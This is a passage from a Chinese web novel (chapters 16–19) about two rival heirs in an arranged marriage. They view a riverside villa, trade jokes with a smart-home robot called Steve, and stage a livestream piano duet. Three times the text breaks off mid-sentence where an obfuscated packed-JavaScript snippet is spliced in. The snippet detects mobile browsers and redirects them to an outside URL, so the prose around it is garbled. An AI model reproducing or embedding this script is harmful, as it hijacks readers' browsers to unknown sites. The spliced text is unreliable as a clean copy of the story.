现在时间还早,不到下班堵车的时候,路上还算宽松,汽车驶入主路,一路通畅地向前疾驰。 时值深秋,路两边的树木叶子有的是一片黄绿,有的是一片砖红,却都还茂密,看过去非常漂亮,令人心旷神怡。 庄乘月欣赏了一会儿景色,才想起来问:“什么婚房?” “长辈们不是说了吗?会给我们一套房子用来结婚,先看我家的几套。”晏知归的手扶在方向盘上,漫不经心地说。 庄乘月“哦”了一声,意兴阑珊地说:“现在都能VR看房了,你不是搞高科技的吗?给我发个链接不就行了,怎么还得我亲自跑一趟。” “这是你将来要住的地方,身临其境地感受一下不是更好么?”晏知归说。 只住两年,实在没必要在意那么多细节,庄乘月想。 他目光迷离地说:“万万没想到,我竟然有一天会跟你看我俩的婚房,世界真是太魔幻了。” 这个时候,他手里的手机和晏知归放在支架上的手机同时响了一声。 庄乘月低头看,是向薇发来的微信。 【薇姐】:小庄总,大概半小时之后,庄晏两家联姻的消息会在社交媒体上公布,事先通知你一声,做好思想准备。 16. Chapter 16 庄乘月和晏知归并不是明星,联姻的事也不必通过他们的个人账号公布,只需要两家分别发布公告就可以。 但这个事儿吧,现在想想,还是跟做梦似的。 向来聒噪的兰花螳螂居然这么安静,晏知归觉得不对劲,转头看了他一眼,见他咬着嘴唇,捧着手机发愣。 “出什么事了?” 庄乘月有气无力地说:“没什么,就是过会儿联姻的事要官宣。” “哦,我知道。”晏知归抬手解锁了放在支架上的手机,扒拉了一下刚才收到的信息,也是这件事。 “怎么就我到最后一刻才知道。”庄乘月缩在座椅里,小声嘟囔,“看婚房突然袭击,这个也是临时通知。” 莫名就很委屈。 晏知归从后视镜看他萎靡不振的样子,斟酌地打算安慰他一下:“可能他们觉得没必要,毕竟已经是既成事实。” “这倒不是。”庄乘月恹恹地说,“我让他们不用跟我说的,发布前告诉我一声就行。” 因为这事儿真让他糟心,调理了这么久,都不算彻底调理好。 晏知归:“……” “但我以为会提前一天,谁知道就提前半小时。”庄乘月微微不满地噘起了嘴。 晏知归冷血无情地说:“又不用你配合做什么,提前半小时足够了。如果不想被打扰,你现在就可以把手机关了。” “呵,才不嘞,如果你对我图谋不轨,我还要打电话报警。”庄乘月望向外边的路况,“怎么还不到?你家的房子在哪里?怎么这么远?” “我打算先去最远的那套,在三环边上,倒着往回走。” 庄乘月意识到自己的失误,立刻坐了起来:“三环边的就不用去了,太远,我上学去公司都不方便,其余两套呢?” 听他说不想去,晏知归看着路况并道靠在路边停下,方便一会儿转向。 “都在二环里,一套江景别墅,一套在南珩区。” “南珩区太新了什么都没有,不喜欢,去看江景别墅。”庄乘月当机立断。 晏知归没有反驳,人机一般地说了句“好的”,重新发动了汽车。 从三环倒回二环,正好赶上晚高峰的开场秀,俩人在车流里堵了一会儿,本来十多分钟就能到的路程,抵达别墅区的时候用去了半个小时。 汽车刚停驶入那套房的院子,庄乘月的手机就“滴滴滴”地响个不停,显然是联姻已官宣,在他的社交圈里产生了核裂变反应。 低头瞥一眼,映入眼帘的首先是各社交平台的推送: 【惊!王不见王的死对头豪门庄家和晏家居然发布联姻公告!】 【卓志集团和英嘉集团宣布联姻,死对头变亲家,骇人听闻!】 【庄晏联姻,江海市经济格局将有大变动!】 【两豪门意外联姻恐为遮掩抱错传闻。】 然后就是许多朋友和认识的人发来的信息: 【乘月,你真的要跟晏知归联姻?】 【恭喜小庄总。】 【月圣,这个联姻公告是不是太假了?不说你什么时候跟晏知归和好的,就说你什么时候弯的吧!】 …… 只是随便瞥了这么一眼,那些重重叠叠的推送就让庄乘月头大,他被“滴”得心慌,还是把手机给关了。 静音也不行,拿在手里就想看,还是关机清净。 晏知归垂眸瞥了他一眼,微微勾了勾唇角:“看看这里你满不满意。” 庄乘月这才往车窗外看去。 这套江景别墅看起来着实不错,虽然只有两层,但层高很高,室内肯定宽敞,外壁以玻璃幕墙为主,视野也会非常开阔。 整个建筑建在江边一处高地上,一层就相当于别处的三层,很有些居高临下的意味。 别墅前没有建筑物遮挡,面前江面一览无余。高地下方稍远些的位置只有一条风景优美的滨江公路,站在院子里都不会觉得吵闹,室内应该更不受噪音影响。 前院有一个漂亮的小花园,看起来时常有人打理,各种植物都很规整,地面也没什么落叶。 晏知归直接把车开进了地下车库,熄火之后两人从车上下来,沿着通道往里走。 庄乘月还被方才那惊涛骇浪的一瞥所困扰,失神地跟在他后面上楼。 “注意脚下。” 听到提醒的时候已经晚了,庄乘月被入户大门的门槛绊了一下,往前趔趄几步后,扑到了一个跟自己腰齐高、圆滚滚的塑料东西上边,手指不知道按住了什么,那玩意忽然就闪起了光,发出了滴滴答答的音乐声。 这会儿天色已暗,晏知归刚进来还没顾得上开灯,周遭虽不至于伸手不见五指,但也弥漫着一团夜雾,黑得影影绰绰。 有一说一,这种环境更吓人。 猛地有这么个东西闪光唱歌,完美复刻了某些恐怖片里的场景。 庄乘月被吓了一大跳,尖叫一声弹开,本能地扑向现场唯一的活物——晏知归的怀里。 晏知归也下意识地张开手臂,把他抱了个满怀。 要说上次牵手不算是第一次肢体触碰,但这个拥抱,确实是平生第一回。 感觉很奇特。 看着庄乘月也是个高高的大小伙子,但抱起来没有想象中那样抱着一把骨头的感觉,也不是什么温香软玉。 晏知归思想劈了个叉,找到了一个自觉还算恰当的比喻:如果说女孩子像小猫那样柔软,其他男人像石头那样梆硬,死对头就有点像小狗,抱起来柔且韧,又是实实在在的满满一怀。 简而言之,抱起来不让人排斥。 “别害怕,是我公司研发的智能家用机器人。”感觉到怀里的青年在发抖,他轻轻拍了拍对方的后背。 庄乘月被吓得心脏怦怦直跳,这会儿一点不嫌弃晏知归偏热的体温,只觉得这个怀抱尚算温暖,能让人安心。 “机器人?”他咕哝道。 晏知归“嗯”了一声:“这套别墅里装了我公司研发的全套智能家居,智能家用机器人算是总控中心。” 庄乘月被吓僵了的脑子还没反应过来,就听身后的启动音乐停止,响起了一个清脆的小孩声音:“晚上好呀,是哪位好心人把我打开了?人家在这里待得好无聊呀,谢谢你们来陪我。” 接着又是“滴滴”两声,机器人的声音更欢快了:“原来是知归哥哥!欢迎回家!” “知归哥哥?”庄乘月重复了一遍,忍俊不禁地笑了起来,意识到自己还缩在人家怀里,立刻向后退开,干咳了一声假装无事发生。 晏知归下令道:“Steve,打开客厅的灯。” 机器人脆生生地答应:“收到!” 灯光亮了起来,庄乘月好奇地打量着面前的机器人,它通体银白色,脑壳是个可以360度转向的球,球面应该是个LED屏幕,可以看到用数字模拟的五官。 球形脑袋下边是个圆柱状的身体,上边亮着一些指示灯,再往下是酷似坦克履带的“脚”,整体结合在一起有那么一丢丢搞笑。 “还以为它也会叫‘小嘉’呢。”庄乘月嫌弃地说,“这么可爱的童声,你管人家叫‘Steve’。” 晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848990|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知归转身引着他向厅内走去:“这个只是样机,留给我自己用的,面市还遥遥无期,就不用公司的名字了。声音也有很多模式,童声是出厂设置,家用可以增加亲和力。” 这个能理解,就跟银行、酒店里到处乱转的那种机器人一个意思。 庄乘月一直好奇地打量Steve,机器人也仰头和他对视,五官变成微笑脸:“你好呀,我从没有见过你,你可以做一下自我介绍吗?我叫Steve,是这里的智能管家。” “你好,我叫庄乘月。” 机器人脸上屏幕滚动着“信息录入中”字样,同时问:“你是知归哥哥的朋友吗?” 庄乘月心想,朋友?算不上,但要是说死对头,下一次这小家伙该不让我进门了吧? 他沉吟的时候,就听晏知归回答:“不是朋友。” 庄乘月:“……” 接着又听晏知归说:“是我的联姻对象,将会是家里的另一个主人。” “哇!知归哥哥要结婚了吗?!”Steve的屏幕上亮起了粉红色的小心心。 庄乘月倒是没想到他会这么直白:“跟机器人说这么多是不是有点冒昧?” “联姻已经官宣,没必要负隅顽抗。”晏知归说,“不管将来是不是住这里,我都会在家里装入智能家居,把Steve带过去为我们服务。” 庄乘月一听什么智能系统,就觉得家里好像被装了无数个摄像头,当即反对:“不行!你个偷窥狂,谁知道你会偷拍什么!” “偷拍你对我有什么好处?”晏知归带着他走进一楼宽敞的大厅,“别被害妄想症。” Steve滚动着履带,乖巧地在一旁跟着他们,仰头看向庄乘月,屏幕上换成了小哭脸:“为什么不带我呀?知归哥哥,乘月嫂嫂是不喜欢我吗?” 庄乘月:“……” “你还是个小绿茶呢!”他戳了戳机器人的圆脑壳。 Steve脸上出现茶杯的图标:“嫂嫂是想喝茶吗?” “不许叫我嫂嫂。”庄乘月威吓道,“叫哥。” “可你是知归哥哥的妻子呀,我不能叫你哥,不如叫你夫人?”机器人弯起了眼睛。 庄乘月当面告状:“晏乌龟你的机器人是不是人工智障?” “它的逻辑很合理,哪里智障了?”晏知归的手机也开始响个不停,他掏出来看了眼,说,“我去接电话,让Steve带你参观。” Steve收到了命令,欢快地向前滑动:“夫人,我来为您介绍这里。这栋江边别墅主体约800平米,附赠500平米的前后花园,有一层地下室,地下室里有台球厅、活动室、室内泳池,地面上两层每层面积约300平米,挑高7米,大气宽敞……” 随着机器人的讲解,整个客厅各处的灯陆续亮了起来,灯光营造出漂亮的效果,给这大别墅蒙上了一层温馨的氛围。 这里房子没有庄家主宅大,但住两个人属实绰绰有余,如果规划到位,两个人甚至可以完全不用见面。 庄乘月更眷恋的是庄家的亲人,对于住所很无所谓,他意兴阑珊地跟着溜达一圈,更多的是跟Steve小学生斗嘴。 小机器人装了履带爬楼非常利索,带他上了二楼看卧室和其他房间,在这一层里,他发现了华点。 一般别墅都会主卧、老人房还有儿童房,这里偌大的面积,居然只有一套主卧,两套客卧,不是很合理。 当然给他俩用没什么问题,但问题是,这房子不是突然盖起来的,为什么在装修的时候会有这样的设计? 紫腚有鬼! 17. Chapter 17 晏知归坐在楼下沙发上,接了一连串的电话。 都是一些点头之交和商业合作伙伴打来试探真相的,他对此做出了人机一般地应答:“官宣是真的,我跟乘月地下恋爱已经有一段时间,感情水到渠成——不好意思,有电话打进来,回聊。” 把苏元意大概卡出去十几回,他才心情轻松地接通对方的电话。 对于联姻,晏知归只是在最初刚听到这个决定的时候感觉非常排斥,但听了庄乘月舌战群儒,他很快就捋清了思路,一口答应下来不仅是要在父亲面前装乖,而是有他自己的想法。 至于面子问题,他并不像庄乘月那么在乎,自认为理性的人更看重实际,不会被情绪牵着鼻子走。 因此也就更坦然一些。 电话刚接通,就听到苏元意在那端疯狂咆哮:“晏知归你要是被人绑架了就咳嗽一声!我现在马上去救你!” “我很好,多谢关心。”听到那破音的喊声,晏知归觉得有些好笑。 “难道晏家要破产了?你们股价我看还算稳当啊!”苏元意不可置信地说,“是什么危机让你们两家联姻?都哥们儿,有事一定通知我,我买了不少你家股票呢!” 晏知归想了想,决定对唯一好友和盘托出:“之前的谣言是真的,我和庄乘月互相被抱错了。” 电话里安静了几秒钟,接着听见苏元意倒吸一口凉气,真情实感地感叹:“卧槽!” 面对这意料之中的反应,晏知归轻轻勾了勾唇角。 “难怪了,要换回你俩,好多事处理起来太麻烦,原本死对头的两家走得太近肯定被人怀疑,联姻是掩盖一切的最好办法,也能方便交流感情,听起来也喜庆,可以把负面影响降到最低。”苏元意也是苏家的接班人,这种事很快就能转过弯来。 很快他又“啧”了一声:“可是你跟庄乘月啊!他是怎么答应的?说实在的兄弟,我有点怕他暗杀你。” “不至于,他有庄家的牵绊,也别无选择。” “那也挺委屈你的,跟兰花螳螂联姻,低头不见抬头见,每天刀光剑影,想想就膈应。” 晏知归翘着二郎腿靠在沙发上,目光透过落地窗遥望不远处被夜色笼罩的江景,心情很好地说:“这个不重要,我有其他的好处就够了。” 江上有亮着夜灯的缤纷游船缓缓来回,时而有自由的鸟飞过,看起来着实令人心情畅快。 跟苏元意简单聊了几句之后挂断,晏知归不打算再接别人的电话,把手机设为静音之后站起身。 庄乘月跟机器人上楼之后这半天都没下来,不知道在搞什么鬼,他要上去看看。 避免兰花螳螂一个不开心,就举着大刀拆家。 拆别的他没问题,这套别墅可不行。 沿着旋转楼梯走到楼上,挨个找过几个房间,不见人影,隐约听到说话的声音,便循声而去,看见露台外坐着那个穿着棕色棒球夹克的背影,旁边是小机器人Steve。 一人一机,正在美美欣赏盛大华丽的江景。 同时还在拌嘴。 “都说了不要叫我夫人,我是男的!”庄乘月的声音听起来已经耐心告罄。 Steve清脆的童声听起来相当无辜:“可你是知归哥哥的结婚对象啊,他是我的主人,是一家之主,主人的妻子就是夫人。” “我不是他妻子!只是联姻罢了!” “联姻也是婚姻,婚姻的构成就是丈夫和妻子,知归哥哥是丈夫,你当然是妻子。” “你的数据库过时了!快去更新!” “不要质疑我哦!我的数据库是最新的!” “你一定是吃了假数据,或者晏乌龟对你做了手脚。”庄乘月不耐烦地一把兜过机器人的圆脑壳,像是要掀开它的天灵盖,“告诉你,就算要论,我也是他老公!月圣绝不屈居人之下,懂吗?!以后见了我要叫先生,所有的事都要听我的,我才是一家之主!” Steve两只细瘦的金属手臂从圆筒身体两侧伸出来,在空气中无助地挥舞,脚下履带干转着动不了一点:“啊呀呀,放开我!我的CPU要烧掉了!” 庄乘月不是真的要玩坏它,就是觉得这小东西挺可爱,想要好好逗它一逗,接着就听见一旁传来声音:“这台机器人成本六百万,弄坏了赔我。” 他转头看见晏知归走进来,便不情愿地松开了手:“一台就六百万,你还怎么卖,碰瓷吧?” Steve慌忙地躲到了晏知归腿后边:“知归哥哥救我!” “小绿茶!”庄乘月对它瞪眼睛。 “这是研发成本,还在不断增加中。”晏知归对机器人说:“你自己待着吧。”接着在庄乘月身边坐下,“这套房子还满意吗?能不能定下来?” 说到这个,庄乘月露出了狡黠的表情,直截了当地问:“那天联姻的事你答应得那么痛快,是不是早就想搬出来住了?!” 晏知归嗤笑了一声,望向眼前开阔舒朗的江面:“何以见得?” “这里房间没有老人房还算正常,但是没有儿童房,跟你之前所说的不婚主义能对上,全屋装了你的智能家居系统,唯一一台机器人也留在了这里。” 庄乘月双手向后撑着实木长凳,洋洋得意地说:“上次会面,看得出你家生存环境水深火热,长辈不准许,所以你不能搬出来住,但你提前给自己准备了这么一个小窝,这会儿正好借着联姻之名搬来——我说得对不对?!” “今天一共看三套房,我怎么能确定你会选这套?”晏知归漫不经心地说。 “做了多年死对头,你我之间早就知己知彼。”见他没否认,庄乘月心里更有谱,“你猜到我会嫌三环的远、南珩区的无聊,明摆着上等马中等马和下等马在一起,我当然选上等。” 晏知归垂眼,飞快地用眼角瞥了瞥他,状若无辜地说:“又不是只从这三套里选,万一你都看不中,去选你家的房子呢?” “到时候做选择的人是你,你一定会说都不好,想办法逼我选这套呗。”庄乘月冷笑,“小乌龟,我早就把你看穿了!反正联姻躲不掉,正好利用我逃离那个家,获得自由是不是?难怪当时答应得那么干脆,你果然是只心机龟!” “你是很聪明,那你有没有想过,我想要逃离的那些人,现在是你的家人了。”晏知归淡淡地说。 庄乘月立刻觉得心脏痛痛的。 联姻近在眼前,勉强真实度高了那么一点点,但要被认回晏家这种事,就完全像个噩梦。 每想起来一次,他就要难过一次。 再想想上次见面时柴老太太那张严肃到满脸都是褶子的脸,还有晏宇安一副高高在上的爹味儿,再加上晏大晏二那种随时随地准备坑兄弟一把的嘴脸,以及阮美兰恶毒继母溢于言表的人设,就觉得眼前一黑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848991|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >庄乘月郁闷地说:“既然你那么不喜欢他们,之前为什么还要帮着他们对付我家里人?” “我没有不喜欢他们,那里是我长大的家,我当然对他们有感情,但有些人相处不如怀念,距离产生美。”晏知归诚实地说,“应付他们对我来说只是小菜一碟,只是不希望被干涉私生活。如果换了是你……” 他偏头看了看死对头略显单纯的脸和那双透亮的猫儿眼:“你可能会被他们吃掉。” “呵!”庄乘月立刻大声冷笑,“你在说什么可笑的话!能吃掉我的人还没生出来!” 晏知归耸了耸肩膀:“信不信由你。”想了想又补充道,“不过跟我相比,你对他们的威胁可能不太大,或许不太会被针对。” 再次被看扁的庄乘月立刻不爽,一把揪住他的领子:“少说这些没用的,看我怎么一个个收拾他们!以前又不是没有收拾过!” “那只是大哥二哥,我也相信你能对付老四,可阮阿姨、奶奶还有爸都是长辈,你打算以下犯上?”晏知归把领子从他的手里解救出来,肌肤相触,发现他的手冰凉。 庄乘月感受到死对头的手温,立刻就缩回了手,双手抄兜。 别的不说,光那个整天一本正经的柴老太太他就头疼。 她早看自己不顺眼,张口闭口“败家子”,要是被认回去,少不得要被调.教一番,要是自己不听她的,肯定会挨说,还会被拿来跟晏知归作比较。 命运何其不公!让他在温馨和睦的庄家长大,却又把他抛回群魔乱舞的晏家! 庄乘月想了想,发现自己被晏知归带跑偏了。 “晏乌龟,我差点就着了你的道!”他站起身看着对方大声说,“是天意派我去整顿晏家的!等着看吧,我一定会好好发挥我的实力,让他们感受到月圣带来的温暖!” 晏知归也站了起来,双手抄着裤兜:“勇气可嘉。进去吧,你不冷吗?” “我才不冷,我浑身血液沸腾!”庄乘月向他伸手,“手机借来用一下。” “干什么?” 庄乘月眯了眯猫儿眼,挑衅又促狭地说:“官宣之后空降双人直播,敢不敢?” “为什么不用你的手机?”晏知归嘲笑道,“不敢看朋友对你发来的质问?” “当然不是!我朋友太多,一开手机肯定全是信息和电话,容易打断直播,反正你没什么朋友,没有这种顾虑。” 晏知归掏出手机:“你确定现在直播?不怕在你的粉丝面前露馅?” “玩的就是个即兴!”庄乘月坏笑着说,“怕演技不如我好?” “上次牵个手都那么勉强,我只是建议你不要自爆卡车。”晏知归迅速在手机里下载moon直播。 庄乘月冷笑一声:“排练不如即兴,月圣最擅长的就是这个!” 估计是满身沸腾的血液涌上大脑,他一冲动,伸手拉过晏知归闲着的那只手,把自己的手塞进去,挤开指缝,与对方十指相扣。 他的手已经在夜风里被吹得冰凉,骤然接触到一只温暖的手,下意识地攥紧,疯狂攫取温度。 晏知归的手里突然被塞进一个冰疙瘩,本能想挣脱,但转瞬间又意识到躲避即认输,立刻发起反攻。 他松开了庄乘月的手指,改为将对方的手完全包裹进自己的手里:“这么冰,得这样才暖和。” 声音温柔得滴水,跟真的似的。 18. Chapter 18 冰凉的手被温暖大掌包着,说不舒服是骗人的,但也因为舒服,庄乘月心里陡然生出一股别扭。 他试图把手收回来,却被死对头紧紧握住。 “怎么?还是做不到,是吗?”晏知归讥诮地笑。 庄乘月使劲儿甩开他:“着什么急,等直播了再说,给我手机!” 晏知归下好了软件,把手机递给他,庄乘月用冻得僵硬的手指点进去,输入自己的用户名和密码,登入平台,打开直播间。 他一开直播,平台就会给粉丝推送,这会儿已经陆续有人进来。 【咦!这么秃然?】 【和今天联姻官宣有关吗?】 【啊啊啊啊晏知归也在,双人直播!】 【刚官宣就来给我们撒糖了是吗?!】 【天啊!这俩人拢共一起直播过两次,每次都是重磅!】 庄乘月让晏知归举着手机,自己则紧紧贴在他的身前,拉着他的手臂找角度,对着镜头挥手:“家人们好!直播偷袭,惊不惊喜,意不意外?!” 屏幕上一水儿划过“惊喜又意外”。 专业事交给专业人去做,晏知归充当手机支架,表现得十分听指挥,也冲着镜头淡淡一笑。 这个姿势像极了半个拥抱,他甚至可以清楚地闻到庄乘月头发散发的洗发水香气。 也感觉非常巧合,小螳螂的骨架似乎正好比自己小一圈,卡在怀里倒是严丝合缝。 难怪方才抱着的时候觉得正正好好。 “我身后的这位是谁,不用我介绍了吧?”庄乘月看着画面里的晏知归,发现这人确实挺上相的,就算是这样临时直播,没有上妆也没有打灯,颜值依旧抗打。 也就比自己差那么一点点吧,并排站在一起不算跌份。 他偏头说:“跟大家打招呼啊。” 语调有那么一点故意为之的娇嗔。 【我天,这是月圣在撒娇吗?】 【真情侣就是不一样!】 【晏知归笑得也很宠啊!】 “大家好,我是晏知归。”他一手举着手机,一手轻轻搭在庄乘月的肩膀上,两人挨得极近,几乎是脸靠着脸,“是乘月的未婚夫。” 屏幕上又是一阵疯狂,各种小心心划过,由于关闭了打赏功能,只有免费的小花一簇簇飞过,像是放了一把烟花。 庄乘月反手扣在晏知归搭在自己肩膀上的那只手上,笑眯眯地说:“猜猜我们在哪儿?” 【明显是月涌江边嘛!】 【好漂亮的江景,好配的两个人!】 【这发展得太快了我真是不敢相信!】 【会不会是演的……】 【他俩肯为我这样演,溺爱!】 “今天我们来看婚房啦!”庄乘月拉着晏知归转了一圈,把背景换成身后灯火辉煌的别墅,“以后这里就是我们的家!” 这倒是晏知归没想到的,他贴近庄乘月的耳根,轻声问:“决定了?” 距离过于接近,刻意压低的声音又带着明显的磁性,不知道是厌弃还是因为别的什么,庄乘月起了一身鸡皮疙瘩。 但面对镜头,他便眉飞色舞地说:“当然决定啦!就这套最合我意,宝宝们,我带你们参观一下吧!” 粉丝们当然是要看大house,两人便转移到了室内,手机也交到了庄乘月手里。 翻转了摄像头之后,他立刻跟晏知归保持了距离,画面里只能看见豪宅里的细节,听见他俩的声音。 “这是龟龟特意准备的房子,里边装了一套智能家居设备,还有个小机器人,特别可爱。”庄乘月冷脸看着晏知归,声音却是异常甜美,“把Steve叫上来吧。” 【还叫龟龟?原来以为是嘲讽,现在才知道是爱称!】 【是我浅薄了!】 【这房子可不是一夜之间就能装好的,果然是早有准备!】 【啧啧啧,家里这么大,就住你们俩,会不会太空旷了?加我一个!】 小机器人刚被晏知归赶走,现在又爬楼上来,眨巴着大眼睛用清脆的童声说:“知归哥哥,夫人,有什么吩咐?” 【嗷嗷嗷嗷好可爱!还真的是机器人!】 【之前还是死对头,转脸就是‘夫人’了!我狠狠嗑一口!】 【机器人叫什么?Steve?哈哈哈哈是你、我和你的朋友Steve的那个Steve吗?】 【果然,三人行必有Steve!互联网诚不我欺!】 【你们俩给机器人取名都这么有梗,不知道生了娃叫什么?诶?月圣可以生娃吗?】 庄乘月:“……” 算了,槽多无口,他们开心就好。 这会儿大呲花和大壮出现在了屏幕上。 【大呲花】:月圣!你不接我电话,居然在这里鬼混! 【大壮】:这种行为实在是令人发指! 庄乘月看着他们俩发的表情直乐:“这不是忙嘛,等一会儿下播了给你俩打电话。” 打着参观豪宅的名义楼上楼下转了一圈,已经有粉丝耐不住,纷纷提出要看俩人正脸。 庄乘月只能再把晏知归薅到自己身边,将镜头翻转过来,露出了甜甜的营业笑容:“正脸来了!” 【真是how pay,pay一脸!】 【刚才又摸手又拥抱的,现在不得亲给我们看看?】 【真情侣有什么可怕的?快点安排!】 “做梦吧,梦里什么都有。”庄乘月当然会拒绝,他偏头看了眼晏知归,眉头微皱,计上心来,“不过可以送你们一个礼物。” 晏知归感觉他要作怪:“什么礼物?” “跟我来!”庄乘月冲他挤了挤眼。 方才参观这房子的时候,在楼下发现了一个琴房,琴房在楼层一角,三面落地窗,都能看见江景,屋里正中央有一台漂亮的施坦威限量白色三角钢琴,正好可以用来宠粉。 走进房间,庄乘月吩咐Steve:“把这里的灯打开。” “好的夫人。”Steve乖巧地问,“有音乐会模式、浪漫模式和日常模式,请问您需要哪种?” 庄乘月现在懒得纠正“夫人”这个叫法,瞥了晏知归一眼:“还有这么多模式?龟龟,你怎么烧烧的。” 晏知归莞尔一笑,直接对机器人说:“浪漫模式。” “收到!” 琴房的灯倏地亮了起来,各种暖光射灯柔柔地打在全屋各处,错落有致的暖黄光线把钢琴映得闪闪发光,烘托出幽暗旖旎的浪漫气氛。 “不错不错。”庄乘月夸赞,举着手机对着他俩,“我直播总得有活儿才行,咱们来四手联弹吧?” 为了陶冶情操、提升气质,他们自小会学各种乐器,晏知归会弹钢琴他是知道的,并不算为难对方。 但龟龟同学疏于练习的话,就不关他的事啦! 晏知归依旧沉着镇定:“当然好,应景的话,来一首《梦中的婚礼》,你觉得怎么样?” “没问题!”庄乘月打了个响指,对着手机说,“宝宝们,来欣赏音乐啦!但是临时直播,没带支架,我找个东西撑着手机,只能让你们看着我俩的手了。” 他左顾右盼,寻了两个小装饰品,把手机扣过来,前置摄像头拍到的是键盘部分。 只要一不用拍脸,俩人迅速变回清冷的表情,对视一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14848992|159257||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又各自嫌弃地挪开,动作同步在琴凳上坐下,抬起琴盖。 晏知归给庄乘月使了个眼神,示意他来演奏主旋律。 庄乘月当然不会客气,他提出要弹琴,稍微有那么一点捉弄的意思,因为觉得对方肯定弹得不如自己,但他并不打算以未婚夫夫形象出现的第一场直播就翻车,自己来主控还是比较保险的。 他优雅地抬起双手,轻柔地放在琴键上,轻轻按下去,流畅优美的音乐便从他的手底下倾泻而出。 随即晏知归加入演奏,加上他的副旋律,整首乐曲变得完整而动听。 手机画面里,黑白键盘上两双手仿佛在轻盈起舞,棒球服外套袖口和西装袖口撞击出极大反差。 一双看上去就是艺术家的手,修长白皙,轮廓柔和,手指看起来灵活而柔韧; 另一双轮廓更硬朗些,手型也宽了一圈,皮肤略深,手背血管凸起得十分明显。 在他们俩看不到的画面里,一排排弹幕飞快闪过。 【妈妈呀,这两双手看起来好有性张力!】 【为什么明明他们在弹奏高雅艺术,而我却满脑子粗俗的黄色废料!】 【高雅的生命大和谐,没毛病!】 【天哪天哪,这样的手牵在一起,十指相扣,手指轻轻摩挲着手背皮肤的样子想想就觉得好涩!】 【不得不说,月圣还是太会了,这种让人遐想的场面比他俩直接亲个嘴儿还要色气!】 【谁说他们是死对头的?这cp感满得都要溢出来了啊!】 【我十分有理由怀疑,上次晏知归上直播就是为了这件事做铺垫!】 庄乘月弹奏得兴起,一曲终了,晏知归的手离开了键盘,他却突然另起了一首曲子,是脍炙人口的《卡农》。 他起初依旧弹的是主旋律,挑衅地看了死对头一眼,看对方会不会接。 晏知归却挂着礼貌的笑容,单手五指并拢,做了个“请”的手势,示意他solo。 庄乘月是真的喜欢音乐,自然毫不客气,往中间坐了坐,屁股还撞了他一下,让他起开,方便自己尽情展现才艺。 晏知归从善如流地站了起来,拿起扣着的手机,翻转了摄像头,找到一个不错的角度,把正在弹琴的庄乘月收入屏幕中。 青年坐姿优雅,修长脖颈微垂,双手轻柔地在黑白键间跳跃,弹奏出美妙的音符,唇边单独的一颗梨涡盛着一捧浅笑。 晏知归不由地想,这家伙小时候直冒傻气,现在长大了,确实换了副模样。 不吵闹的时候,有那么一些可爱。 他的目光落在屏幕上,看上边划过一片“啊啊啊啊”。 【要是月圣和晏知归大提琴钢琴合奏就美了。】 【这可真是天作之合!】 【现在是晏知归在拍月圣吧?这个小情侣视角真的自带滤镜!】 【月圣本来就好看,现在更加好看了。】 【万万没想到他俩能联姻,但仔细想想,能配得上月圣的也只有晏知归,这门亲事我答应了!】 一曲终了,庄乘月算是过了瘾,仰头看向镜头,开心地笑着说:“怎么样?今天的直播,大家没白来吧?” 晏知归调回前置镜头,把自己收入屏幕中,坐回了他身边,弯起眼角,声音温柔:“开心吗?” “还算可以!”面对镜头,庄乘月笑容不改,却警惕地飞快瞥了他一眼。 死对头温柔和蔼的时候,总让他觉得哪里不对,怀疑有坑。 果然,接下来晏知归便握起了他的手,凑到唇边轻轻一贴。 庄乘月在满身鸡皮疙瘩中听到对方说:“婚期已定,我们明天把证领了吧。” 19. Chapter 19 虽然答应了联姻,但庄乘月还心存一丝侥幸,想着先订婚,拖着看看,没准儿能拖上一年,万一一年以后事情出现转圜余地呢?那不就不用结了?! 谁好好的愿意变成二婚呢。 订婚一年又不是什么罕见的事,大姐跟宋乾订婚到结婚就差不多有一年,妈妈给大姐准备婚礼可仔细了,给自己肯定一样! 谁知道晏知归这么鸡贼,为了早点搬出晏家住,这么早就要和他领证! 还通过这次直播当众提出来,让他没办法不答应。 不答应的话,方才那些秀恩爱,就成了打在脸上一记响亮的巴掌。 自己这别出心裁的直播,没想到给坏人提供了可乘之机。 失策! 庄乘月偏头看着晏知归的眼睛里已经冒出了火星子。 也就是侧面看不出来他的表情,屏幕上还在铺天盖地地划过“百年好合”“永结同心”“心心相印”“佳偶天成”。 晏知归眼看着那双猫儿眼眯了眯,感觉下一秒就要挠自己了,借机催促:“好不好,嗯?答应我吧。” 庄乘月:“……” 箭在弦上不得不发,只能先答应下来,私底下的事再说,于是他咬着后槽牙说:“好啊!改天选个黄道吉日。” “明天日子不错,又是周五,如果不能领,就得等到下周了,我不想等。”晏知归温声说,“领了证我们给你的粉丝看看,也让他们安心。” 